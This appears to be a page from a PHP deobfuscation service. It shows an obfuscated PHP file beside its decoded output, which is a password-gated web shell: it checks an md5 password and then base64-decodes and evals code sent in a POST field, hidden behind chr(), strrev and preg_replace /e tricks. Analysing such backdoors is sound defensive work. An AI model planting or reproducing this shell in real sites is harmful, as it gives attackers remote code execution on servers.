Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function _g1qm0() { $_g1qm1 = 'd51641d0b1e120ba1df8833b7547e801'; $_g1qm2 = "\x63..
Decoded Output download
$log = 'prt'; if (!isset($_SESSION)) { session_start(); } if (isset($_SESSION['log']) && ($_SESSION['log'] == $log)) { if (isset($_POST['mtq'])) { $pt = base64_decode($_POST['mtq']); eval($pt); exit; } } if (isset($_POST['pwx']) && (md5($_POST['pwx']) == $_g1qm1)) { $_SESSION['log'] = $log; exit; }
Did this file decode correctly?
Original Code
<?php
function _g1qm0() {
$_g1qm1 = 'd51641d0b1e120ba1df8833b7547e801';
$_g1qm2 = "\x63\x68\x72";
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));
$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");
$_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65");
$_g1qm5($_g1qm3('e'.$_g1qm2(47).'*./'),"@$_g1qm6($_g1qm4(\"JGxvZyA9ICdwcnQnOyBpZiAoIWlzc2V0KCRfU0VTU0lPTikpIHsgCXNlc3Npb25fc3RhcnQoKTsgfSBpZiAoaXNzZXQoJF9TRVNTSU9OWydsb2cnXSkgJiYgKCRfU0VTU0lPTlsnbG9nJ10gPT0gJGxvZykpIHsgCWlmIChpc3NldCgkX1BPU1RbJ210cSddKSkgeyAgCQkkcHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnbXRxJ10pOyAJCWV2YWwoJHB0KTsgCQlleGl0OyAJfSB9IGlmIChpc3NldCgkX1BPU1RbJ3B3eCddKSAmJiAobWQ1KCRfUE9TVFsncHd4J10pID09ICRfZzFxbTEpKSB7IAkkX1NFU1NJT05bJ2xvZyddID0gJGxvZzsgCWV4aXQ7IH0K\"))",'');} @_g1qm0();
?>
Function Calls
| chr | 16 |
| _g1qm0 | 1 |
| strrev | 4 |
| preg_replace | 1 |
| base64_decode | 1 |
Stats
| MD5 | 50fb0677d85197833bee6c406177f613 |
| Eval Count | 2 |
| Decode Time | 193 ms |